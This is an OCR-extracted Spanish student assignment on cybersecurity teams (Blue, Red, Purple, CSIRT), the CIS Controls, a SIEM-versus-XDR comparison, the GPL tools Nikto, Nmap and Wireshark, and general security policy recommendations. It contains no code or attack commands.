e Se recomienda no descargar archivos de procedencia desconocida o
dudosa. Es importante evitar descargar y ejecutar archivos de los cuales se
desconoce su procedencia o tengan contenido sospechoso.
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e Es importante documentar el evento. Esto ayudara a identificar las causas
del evento y a tomar las medidas necesarias para evitar que vuelva a ocurrir.

Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢qué
diferencia existen entre los equipos antes mencionados con el Purple Team y
equipos de respuesta a incidentes informaticos?

Los equipos Blue Team, Red Team y Purple Team son equipos de ciberseguridad
gue se usan para proteger a las organizaciones de ataques informaticos. Cada
equipo tiene un enfoque diferente, pero todos tienen el mismo objetivo que es
mejorar la seguridad de la organizacion.

Equipos Blue Team

Los equipos Blue Team son responsables de defender la organizacién contra los
ataques. Utilizan varias técnicas y herramientas con el fin de detectar, responder y
mitigar los ataques. Tienen la finalidad de estudiar cbmo se comportan sus usuarios
y equipos para encontrar de forma rapida cualquier incidente que pueda haber
pasado inadvertido para el resto de sistemas de seguridad.

Equipos Red Team

Los equipos Red Team simulan ataques contra la organizacién para ayudar a los
equipos Blue Team a identificar y corregir vulnerabilidades. Utilizan las mismas
técnicas y herramientas que los atacantes reales, lo que permite a los equipos Blue
Team evaluar la efectividad de sus defensas.

Equipos Purple Team

Los equipos Purple Team combinan las habilidades de los equipos Blue Team y
Red Team para mejorar la coordinacion y la comunicacion entre ambos equipos.
Esto ayuda a garantizar que la organizacion esté preparada para responder a
cualquier ataque.

Las principales funciones de un equipo Purple Team son:

e Evaluar las vulnerabilidades de una organizacion y las amenazas a las que
esta expuesta.

e Probar la efectividad de las defensas de la organizacion contra los ataques
cibernéticos.

¢ I|dentificar areas de mejora en la seguridad de la organizacion.

Beneficios de los equipos Purple Team

e Una mejor comprension de las amenazas cibernéticas
e Una postura de seguridad mas solida
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¢ Una respuesta més efectiva a los incidentes
¢ Una mayor colaboracion entre los equipos de seguridad

Los equipos Purple Team pueden ayudar a las organizaciones a prepararse mejor
para las amenazas cibernéticas que evolucionan constantemente.

Equipos de respuesta a incidentes informaticos

Los equipos de respuesta a incidentes informaticos (CSIRT) son responsables de
responder a los ataques que ya han tenido lugar. Utilizan una variedad de técnicas
y herramientas para contener el ataque, investigar la causa y restaurar los sistemas
afectados.

Las principales funciones los equipos de respuesta a incidentes informéticos son:

e Investigar los ataques cibernéticos que afectan a una organizacion.

e Determinar el alcance del incidente y el impacto en la organizacion.

e Ejecutar las acciones necesarias para contener el incidente y mitigar el dafio.

e Comunicar el incidente a las partes interesadas, como los clientes, los socios
y los reguladores.

Diferencias

La principal diferencia que existe entre los equipos Blue Team y Red Team es que
los equipos Blue Team se centran principalmente en la defensa, mientras que los
equipos Red Team se centran en el ataque.

El Purple Team combina los enfoques de los equipos Blue Team y Red Team para
mejorar la coordinacion y la comunicacion entre ambos equipos.

Los equipos de respuesta a incidentes informaticos se centran en responder a los
ataques que ya han tenido lugar.

Las principales diferencias entre equipos Purple Team y los equipos de respuesta
a incidentes informéticos son las siguientes:

Objetivo: Los equipos Purple Team tienen como obijetivo evaluar la efectividad de
las defensas de una organizaciéon, mientras que los equipos CSIRT se centran en
investigar y responder a los ataques cibernéticos que ya han tenido lugar.

Enfoque: Los equipos Purple Team adoptan un enfoque proactivo para la seguridad,
mientras que los equipos CSIRT adoptan un enfoque reactivo.

Funciones: Los equipos Purple Team realizan ejercicios de ataque y defensa,
mientras que los equipos CSIRT investigan los incidentes, responden a las
emergencias y comunican los incidentes.
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La principal diferencia entre los equipos Blue Team, Red Team y los Equipos de
respuesta a incidentes informaticos es su enfoque. Los equipos Blue Team se
centran en la prevencion, los equipos Red Team se centran en la evaluacion y los
equipos de respuesta a incidentes informaticos se centran en la respuesta.

¢ Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y
qué se debe hacer para encontrar los tutoriales que posee.

El CIS, o Center for Internet Security, es una organizacion que ofrecen una variedad
de recursos para ayudar a las organizaciones a protegerse de los ataques
cibernéticos, incluyendo mejores practicas, herramientas y formacion.

Funcion de CIS “Center For Internet Security” dentro de equipos BlueTeam:

Dentro de los equipos Blue Team, el CIS desempeiia un papel importante en la
provision de recursos y orientacion. Sus mejores practicas y herramientas pueden
ayudar a los equipos Blue Team a mejorar su capacidad de detectar, responder y
recuperarse de los ataques cibernéticos

v" CIS Controls: Un conjunto de 20 controles de seguridad que proporcionan
una base soélida para la proteccion de las organizaciones.

v CIS Benchmarks: Implementaciones detalladas de los CIS Controls para una
variedad de plataformas y sistemas.

v' CIS Tools: Una coleccion de herramientas de seguridad que pueden ayudar
a los equipos Blue Team a detectar, responder y recuperarse de los ataques
cibernéticos.

v' CIS Training: Una variedad de cursos y certificaciones que pueden ayudar a
los profesionales de la seguridad a desarrollar sus habilidades.

Los equipos Blue Team que utilizan los recursos del CIS pueden mejorar su
capacidad de proteger a sus organizaciones de los ataques cibernéticos.

Ejemplos de como el CIS puede ayudar a los equipos Blue Team:

v' Los CIS Controls pueden ayudar a los equipos Blue Team a identificar y
priorizar las areas de mayor riesgo.

v" Los CIS Benchmarks pueden ayudar a los equipos Blue Team a implementar
controles de seguridad de forma consistente y eficiente.

v Las herramientas del CIS pueden ayudar a los equipos Blue Team a detectar
y responder rapidamente a los ataques cibernéticos.

v" La formacién del CIS puede ayudar a los equipos Blue Team a desarrollar
las habilidades necesarias para proteger a sus organizaciones.
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En general, el CIS es una valiosa fuente de recursos para los equipos Blue Team.
Sus mejores practicas, herramientas y formacion pueden ayudar a las
organizaciones a mejorar su capacidad de protegerse de los ataques cibernéticos.'4

Los cinco principios fundamentales de un sistema efectivo de defensa cibernética
como se refleja en los controles CIS son:

1. La ofensa informa a la defensa: utilice el conocimiento de los ataques reales que
han comprometido los sistemas para proporcionar la base para aprender
continuamente de estos eventos y construir defensas efectivas y practicas. Incluya
s6lo aquellos controles demostrados para detener ataques conocidos del mundo
real.

2. Priorizacién: centrarse primero en los controles que ofreceran la mayor reduccién
de riesgos y proteccibn contra los actores mas riesgosos y que pueden
implementarse con éxito en su entorno informativo.

3. Métricas y mediciones: Establecer parametros estandar para proporcionar un
lenguaje comun para que los ejecutivos, especialistas de TI, auditores y personal
de seguridad midan la efectividad de las medidas de seguridad dentro de una
organizacion, permitiendo la rapida identificacion e implementacion de cualquier
ajuste necesario.

4. Diagnéstico y mitigacion continua: realizar evaluaciones continuas para
comprobar la eficacia de las medidas de seguridad actuales y ayudar a determinar
la prioridad de los préximos pasos.

5. Automatizacion: automatice las defensas para que las organizaciones puedan
lograr mediciones confiables, escalables y continuas de su adhesién a los controles
y las métricas relacionadas.

Cémo funciona CIS y qué se debe hacer para encontrar los tutoriales que
posee

CIS, o Center for Internet Security, es una organizacion sin fines de lucro que se
dedica a la promocién de la seguridad cibernética. CIS ha desarrollado una serie de
controles de seguridad, conocidos como CIS Controls, que son una coleccion de
mejores practicas que las organizaciones pueden adoptar para mejorar su postura
de seguridad.

14 ABOUT US - CIS® [Andnimo]. CIS [pagina web]. [Consultado el 29, septiembre, 2023].
Disponible en Internet: <https://www.cisecurity.org/about-
us#:~:text=(CIS®)%20makes%20the%20connected,securing%201T%20systems%20and%20data.>
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Los Controles CIS son un nimero pequeiio de acciones de seguridad priorizadas,
bien consensuadas y respaldadas que las organizaciones pueden tomar para
evaluar y optimar su estado de seguridad. 1°

Cbémo funciona CIS:
CIS Controls se divide en 20 controles, que se agrupan en cuatro categorias:

Fundamentos de seguridad: Estos controles proporcionan una base sélida para la
seguridad cibernética.

Seguridad de la red: Estos controles protegen la red de una organizacion de los
ataques.

Seguridad de los sistemas: Estos controles protegen los sistemas de una
organizacion de las amenazas.

Seguridad de los datos: Estos controles protegen los datos de una organizacién de
la pérdida o el robo.

CIS ofrece una variedad de recursos para ayudar a las organizaciones a
implementar CIS Controls, incluyendo:

Guias de implementacion: Estas guias proporcionan instrucciones paso a paso
sobre cémo implementar cada control.

Herramientas de evaluacion: Estas herramientas ayudan a las organizaciones a
evaluar su cumplimiento de CIS Controls.

Tutoriales: Estos tutoriales proporcionan una introducciéon a CIS Controls y cdmo
implementarlos.

Tutoriales de CIS

Los tutoriales de CIS se pueden encontrar en el sitio web de CIS. Para encontrar un
tutorial, se deben seguir estos pasos:

Vaya al sitio web de CIS, después haga clic en la pestafia "Tutoriales", y seleccione
el tutorial que desea ver.

15 A; QUA® SON y cA3mo implementar los Controles de CIS? | DefiniciA3n de Controles CIS o CIS
Controls (Cis Ciberseguridad) - ManageEngine [Andnimo]. ManageEngine - IT Operations and
Service Management Software [pagina web]. [Consultado el 22, septiembre, 2023]. Disponible en
Internet: <https://www.manageengine.com/latam/controles-de-sequridad-critica-cis.html>.
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Los tutoriales de CIS estan disponibles en una variedad de formatos, incluyendo:

v" Videos: Estos tutoriales proporcionan una presentacion visual de los
conceptos y las tareas.

v" Documentos: Estos tutoriales proporcionan instrucciones detalladas paso a
paso.

v' Presentaciones: Estas presentaciones proporcionan una vision general de
los conceptos y las tareas.

Se recomiendan los siguientes tutoriales:

v" Introduccion a CIS Controls: Este tutorial proporciona una visién general de
los CIS Controls.

v Implementacion de CIS Controls: Este tutorial proporciona instrucciones
paso a paso sobre como implementar CIS Controls.

v Evaluacion de CIS Controls: Este tutorial proporciona instrucciones sobre
como evaluar el cumplimiento de CIS Controls.

Deberda documentar mediante la elaboracion una tabla las diferencias
existentes entre: SIEM y XDR.

Tabla 1. Tabla de diferencias entre SIEM y XDR

Caracteristica SIEM XDR

Sistema de gestion de
informacion y eventos de
seguridad. Es una
solucion que recopila,

Deteccion y respuesta
extendida. Es una

almacena y analiza datos
de seguridad de multiples
fuentes, como redes,

endpoints, aplicaciones y

solucion mas avanzada
que SIEM, que agrega
capacidades de
deteccion y respuesta

Definicién nube. proactivas.
El objetivo principal de
SIEM es centralizar la
recopilacion, el El objetivo principal de
almacenamiento y el XDR es detectar y
analisis de datos de responder a amenazas
seguridad. Esto permite a | de forma proactiva. Esto
las organizaciones tener | se logra mediante el uso
una vision global de su de inteligencia artificial y
seguridad y detectar aprendizaje automatico
amenazas de forma mas | para analizar datos de
Objetivo efectiva. multiples fuentes
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Fuentes de datos

SIEM se basa
principalmente en datos
de red y seguridad, como
registros de firewall,
registros de IPS y
registros de SIEM.

XDR también incluye
datos de endpoints, nube
y aplicaciones. Esto
permite a XDR tener una
vision mas completa de
la seguridad de la
organizacion.

El andlisis de SIEM se
basa en reglas y
anomalias. Las reglas se
definen manualmente por
los analistas de
seguridad para identificar
eventos sospechosos.
Las anomalias se
identifican mediante el
analisis de datos para
detectar patrones

El analisis de XDR se
basa en inteligencia
artificial y aprendizaje
automatico. Esto permite
a XDR identificar
amenazas de forma mas

inusuales. precisa y eficiente.
Andlisis
Las alertas de SIEM
pueden generarse
manualmente o
automaticamente. Las Las alertas de XDR se
alertas manuales se generan
generan por los analistas | automaticamente. Esto
de seguridad, mientras permite a XDR detectar
gue las alertas amenazas de forma mas
automaticas se generan | rapida y eficiente.
Alertas por el sistema SIEM.
La respuesta a las alertas
de SIEM depende de los
analistas de seguridad. La respuesta a las alertas
Los analistas deben de XDR puede ser
investigar las alertas para | automatizada. Esto
determinar si son permite a XDR tomar
legitimas. Si una alerta medidas para mitigar las
es legitima, los analistas | amenazas de forma
deben tomar medidas rapida y eficiente.
Respuesta para mitigar la amenaza.
SIEM es una solucion
menos costosa que XDR.
Costo Esto se debe a que XDR | M&s costoso
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incluye capacidades mas
avanzadas, como
inteligencia artificial y
aprendizaje automatico.

SIEM es una solucién
estable que es escalable
a medida que crece la
organizacion.

XDR es una solucion
mas escalable que SIEM.
Esto se debe a que XDR
puede recopilar y analizar
datos de multiples

Escalabilidad fuentes.
XDR es una solucion
SIEM es una solucién mas compleja que SIEM.
menos compleja que Esto se debe a que XDR
XDR. Esto se debe a que | requiere una mayor
XDR incluye capacidades | comprension de la
mas avanzadas. tecnologia y la seguridad.
Complejidad

La eleccion de la solucién adecuada dependera de
las necesidades especificas de la organizacion. Las
organizaciones que buscan una solucion de
ciberseguridad basica y asequible pueden considerar
un SIEM. Las organizaciones que buscan una
solucién mas avanzada y sofisticada pueden
considerar un XDR.

Eleccién de la solucién
adecuada

Fuente: el autor

Defina por lo menos 3 herramientas de deteccién de ataques informéaticos con
licencia GPL.

Nikto: Es un escaner de vulnerabilidades web que se utiliza para identificar
problemas de seguridad en sitios web. Esta escrito en Perl y esta disponible de
forma gratuita bajo la licencia GPL. Nikto es una herramienta poderosa que puede
detectar una amplia gama de vulnerabilidades, incluyendo vulnerabilidades de
inyeccibn de SQL, vulnerabilidades de Cross-Site Scripting (XSS), vy
vulnerabilidades de Cross-Site Request Forgery (CSRF).

Es una herramienta que tiene la posibilidad de detectar mas de 3200 archivos
potencialmente peligrosos, sin embargo, hay muchas otras herramientas de
seguridad, que estan siendo utilizados por muchos profesionales segun sus
necesidades.

Nikto presenta las siguientes caracteristicas: Soporte SSL, verifica componentes
desactualizados del servidor, escanea varios puertos de un servicio.
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Esta herramienta, que utilizan personas especializadas en actividades de hacking y
pentesting, esta implementada en una plataforma que les permite ejecutar PERL
evitando intrusiones. También se utiliza para controlar la vulnerabilidad CGl y evitar
los 29 sistemas de deteccion de intrusiones. Esto se utiliza normalmente para
regular la seguridad de los servidores web, como por ejemplo los scripts del servidor
Gl.

Funciona como una herramienta con todas las funciones para la deteccion de
riesgos y vulnerabilidades. Escanea todas las aplicaciones que se encuentran en la
red de la organizacion e incluso busca patrones en el uso de balanceadores de
carga. Es una herramienta para escanear servidores web y es responsable de
realizar algunas tareas, incluida la identificacion de configuraciones problematicas
del servidor y fallas de seguridad. 16

Nmap: Es una herramienta de mapeo de red y auditoria de seguridad que se utiliza
para identificar hosts y servicios en una red. Esta escrito en C y esta disponible de
forma gratuita bajo la licencia GPL. Es una herramienta versatil que puede utilizarse
para una amplia gama de tareas de seguridad, incluyendo la deteccién de sistemas
operativos, la deteccion de puertos abiertos, y la deteccion de vulnerabilidades. Se
puede utilizar una variedad de técnicas para identificar hosts y servicios, incluyendo
la deteccion de ping, la deteccion de puertos abiertos, y la deteccién de servicios.
También puede utilizar una variedad de técnicas para detectar vulnerabilidades,
incluyendo la deteccion de sistemas operativos vulnerables, la deteccidon de puertos
abiertos vulnerables, y la deteccién de servicios vulnerables.

Herramienta de escaneo mas utilizadas para obtener informacién del host de
destino. La informacion obtenida se puede analizar mas a fondo para ayudar en el
ataque posterior. Por lo tanto, es necesario encontrar una forma eficaz de detectar
el comportamiento de escaneo de Nmap.

Es una herramienta de escaneo de red de cddigo abierto. Utiliza paquetes IP no
procesados para determinar qué servicios se estan ejecutando en dispositivos
remotos, asi como la identificacion de dispositivos activos, el sistema operativo del
dispositivo remoto, la presencia de filtros o firewalls, entre otras cosas. Aunque
también se utiliza en hosts especializados, fue creado para el escaneo rapido de
redes grandes. Se pueden utilizar todos los principales sistemas operativos para
ejecutarlo y se ofrecen paquetes binarios oficiales para Linux, Windows y MacOS

16 Repositorio UdeC [pagina web]. [Consultado el 22, septiembre, 2023]. Disponible en Internet:
<https://repositorio.unicartagena.edu.co/bitstream/handle/11227/8498/TESIS%20FLOREZ-
%20MANQUINTANA.pdf?sequence=1>.
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X. Network Mapper se describe en la literatura como una herramienta versatil,
portatil, sencilla, potente, gratuita y ampliamente utilizada. 1’

Wireshark: Es un analizador de paquetes de red que se utiliza para capturar y
analizar el tréfico de red. Esté escrito en C y esta disponible de forma gratuita bajo
la licencia GPL. Wireshark es una herramienta poderosa que puede utilizarse para
identificar una amplia gama de problemas de seguridad, incluyendo ataques de
inyeccién de paquetes, ataques de suplantacion de identidad, y atagues de man-in-
the-middle.

Wireshark funciona capturando paquetes de red y analizandolos. Wireshark puede
capturar paquetes de una variedad de fuentes, incluyendo interfaces de red,
archivos, y dispositivos de almacenamiento. Wireshark también puede analizar una
variedad de tipos de paquetes, incluyendo paquetes TCP, paquetes UDP, y
paquetes IP.

Es una herramienta que utiliza conceptos de cddigo abierto y es muy eficaz para el
ambito académico debido a su caracter gratuito. Su principal responsabilidad es
trabajar con los paquetes de datos de la red; También brinda asistencia general con
cualquier problema que la red pueda estar experimentando. Las versiones mas
nuevas de la aplicacion incluyen funcionalidad multiplataforma e interfaces de
comunicacién mas faciles de usar con los usuarios que la utilizan. El objetivo es
simplemente encontrar una red, capturar paquetes de datos, verificarlos, trabajar en
ella y luego enviar un informe sobre qué tan confiable es la red. Su gran valor
proviene de trabajar en conjunto con numerosos sistemas operativos ampliamente
utilizados, algunos de los cuales son privados y otros de cddigo abierto. Su alcance
de operacion es ilimitado. 18

Caracteristicas de Wireshark

¢ Mantenido bajo la licencia GPL.

e Muy robusto, tanto en modo promiscuo como en modo no promiscuo.

e Puede capturar datos de la red o leer datos almacenados en un archivo (de
una captura previa).

e Los datos pueden ser decodificados y si es necesario guardar estos objetos
especificamente

e Tiene una interfaz muy flexible.

e Gran capacidad de filtrado

17 Medigraphic - Literatura Biomédica [pagina web]. [Consultado el 21, septiembre, 2023].
Disponible en Internet: <https://www.medigraphic.com/pdfs/revcubinfmed/cim-2020/cim201j.pdf>.
18 ALTUBE, Rafael. Wireshark: Qué es y ejemplos de uso. OpenWebinars.net [pagina web]. (7,
enero, 2021). [Consultado el 22, septiembre, 2023]. Disponible en Internet:
<https://openwebinars.net/blog/wireshark-que-es-y-ejemplos-de-uso/>.
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e Rastreo a todos los paquetes de datos, relacionarse con todo lo que tenga
ya sea antes o después un seguimiento sin perder la confidencialidad.

Para qué sirve WIRESHARK

Su uso principal es buscar dispositivos defectuosos que constantemente intentan
comunicarse a través de la red enviando archivos o datos maliciosos, la mayoria de
los cuales siempre provocan trafico en la red y, finalmente, los peligrosos
dispositivos que intentan robar informacion sin autorizacién. La razon por la que
Wireshark se considera la herramienta mas poderosa e importante es porque una
de sus reglas requiere que los usuarios tengan un conocimiento basico de su uso y
funciones. Las empresas modernas manejan protocolos HTTP mientras analizan
cada nodo de datos, algunos de los cuales son relativamente simples y otros
bastante complejos, por lo que esta herramienta es viable para trabajar y brindar
respuestas seguras.

“Estas herramientas son utiles para ayudar a los administradores de sistemas a
detectar y prevenir atagues informaticos. Son gratuitas y de codigo abierto, lo que
significa que cualquiera puede descargarlas y utilizarlas.”

3. De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos blue team, red team y purple team al mismo tiempo
dentro de una organizacion.

La integracion de equipos blue team, red team y purple team al mismo tiempo dentro

de una organizacién puede aportar una serie de beneficios en el campo de la

ciberseguridad, entre los que se incluyen:

e Mejora de la deteccion y respuesta a incidentes: La colaboracién entre los
tres equipos puede ayudar a mejorar la deteccion y respuesta a los incidentes
de seguridad. El red team puede ayudar a identificar las vulnerabilidades que
podrian ser explotadas por los atacantes, el blue team puede ayudar a
detectar y responder a los ataques, y el purple team puede ayudar a analizar
los incidentes y mejorar las defensas de la organizacion.

e Mejora de la postura de seguridad: La integracion de los tres equipos puede
ayudar a mejorar la postura de seguridad general de la organizacién. El red
team puede ayudar a identificar las amenazas y vulnerabilidades, el blue
team puede ayudar a implementar controles de seguridad para mitigar estas
amenazas, y el purple team puede ayudar a evaluar la efectividad de estos
controles.

e Laintegracion de equipos blue team, red team y purple team al mismo tiempo
dentro de una organizacion puede ayudar a mejorar la deteccion y respuesta
a incidentes, la postura de seguridad general, la comunicacion y colaboracion
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entre los equipos de seguridad, y la comprension de las amenazas y
vulnerabilidades.

Mejora de la comunicacion y colaboracion: La integracion de los tres equipos
puede ayudar a mejorar la comunicacion y colaboracion entre los equipos de
seguridad. Esto puede ayudar a garantizar que todos los equipos tengan una
comprension compartida de las amenazas y vulnerabilidades, y que puedan
trabajar juntos de manera efectiva para proteger la organizacion.

El red team puede ayudar al blue team a mejorar sus habilidades de
deteccidbn de amenazas. El red team puede realizar ataques simulados
contra los sistemas y redes de la organizacion, lo que puede ayudar al blue
team a identificar las vulnerabilidades que podrian ser explotadas por los
atacantes reales.

El blue team puede ayudar a la red team a mejorar sus habilidades de
ataque. El blue team puede proporcionar informacién a la red team sobre las
medidas de seguridad que la organizacion ha implementado, lo que puede
ayudar a la red team a desarrollar ataques mas sofisticados.

El purple team puede ayudar a ambos equipos a mejorar su comprension de
las amenazas y vulnerabilidades. El purple team puede recopilar datos de
ambos equipos y analizarlos para identificar tendencias y patrones que
pueden ayudar a identificar nuevas amenazas y vulnerabilidades.

Para que la integracién de los tres equipos sea efectiva, es importante que
haya una buena comunicacion y colaboracién entre ellos. Los equipos deben
estar dispuestos a compartir informacion y trabajar juntos para mejorar la
seguridad de la organizacion.
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4. Politicas de seguridad y recomendaciones para mejorar los aspectos de
ciberseguridad en cualquier organizacion en sus entornos T.I.

Las politicas de seguridad informatica son un conjunto de reglas y procedimientos
gque se establecen para proteger los sistemas, datos e informacion de una
organizacion.

1.4 Politicas de seguridad

e Politica de acceso: Esta politica define quién tiene acceso a qué informacion
y sistemas.

e Politica de software: Esta politica establece los requisitos para el software
gue se puede instalar y utilizar en los sistemas de la organizacion.

e Politica de copias de seguridad: Esta politica establece los requisitos para la
creacion y el almacenamiento de copias de seguridad de los datos.

e Politica de respuesta a incidentes: Esta politica establece los pasos a seguir
en caso de un ataque cibernético.

2.4 Recomendaciones:

e Contar con herramientas de ciberseguridad: las herramientas deben de ser
tanto para las pruebas de penetracion para contener un posible ataque como
para los incidentes en la infraestructura de TI.

e Implementar un plan de seguridad informatica: EI plan de seguridad
informatica debe ser un documento que defina los objetivos, las politicas y
los procedimientos de seguridad de la organizacion.

e Se recomienda no descargar archivos de procedencia desconocida o
dudosa: Es importante evitar descargar y ejecutar archivos de los cuales se
desconoce su procedencia o tengan contenido sospechoso.

e Utilizar contrasefias seguras: Las contrasefias deben ser largas, complejas 'y
Unicas para cada cuenta.

e Tréfico de red inusual: Un aumento repentino en el trafico de red,
especialmente de tréafico dirigido a sistemas o servidores especificos, puede
ser un indicador de un ataque.

e Actualizar el software con regularidad: Las actualizaciones de software
suelen incluir parches de seguridad que corrigen vulnerabilidades conocidas.

e Actualizar el firewall: Un firewall puede ayudar a bloquear el acceso no
autorizado a los sistemas de los equipos.

e Utilizar un antivirus: mantener el antivirus activado para ayudar a detectar y
eliminar malware.
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Realizar copias de seguridad de los datos: Las copias de seguridad pueden
ayudar a restaurar los datos en caso de pérdida o corrupcion.

Involucrar a los empleados en la seguridad: Los empleados deben ser
conscientes de los riesgos de seguridad y deben estar comprometidos a
seguir las politicas y procedimientos de seguridad.

Comunicar los riesgos de seguridad: Las organizaciones deben comunicar
los riesgos de seguridad a los empleados y a los clientes.
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Anexo A. 1: Link del video de sustentacion: https://youtu.be/GJkJJtYkwns
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5. Conclusiones

Tener conocimiento sobre las normas de seguridad informatica y de leyes
colombianas es muy importante, ya que nos permite identificar y demandar
los procesos ilegales en las que ciertas organizaciones pueden estar
involucradas donde el personal realice actos indebidos que generen
conductas antiprofesionales.

Gracias al trabajo que se realiz6 se muestra lo importante que es conocer los
procesos ilegales en los que se puede estar involucrado para que no se vaya
a hacer participe de los delitos informaticos.

En los procesos legales enfocados a delitos informaticos y la proteccion de
los datos en Colombia es claro en las cuales incluyen muchas leyes que
establecen las acciones de las organizaciones que estan involucradas en los
procesos de seguridad informética. Sin embargo, creo que hacen falta una
mayor regulacién de las leyes ya establecidas que ayude a cumplir con mayor
rigurosidad lo establecido en dichos lineamientos legales.

Para lograr la intrusion no solo fue necesario utilizar herramientas hacking
ético, sino también, emplear técnicas como la ingenieria social.

Se puede concluir que mantener los sistemas de seguridad inhabilitados
representa un alto riesgo para cualquier persona u organizacion.

La elaboracién y ejecucion del plan de pruebas, se puede concluir que
cuando se realiza una prueba de intrusién desde una red es necesario
realizar configuraciones adicionales de cierta red.

Las pruebas de intrusién, generalmente muestran la ejecucién de las pruebas
en una red privada local o en un entorno virtualizado mediante la herramienta
VirtualBox (el sistema Victima y atacante en la misma maquina).
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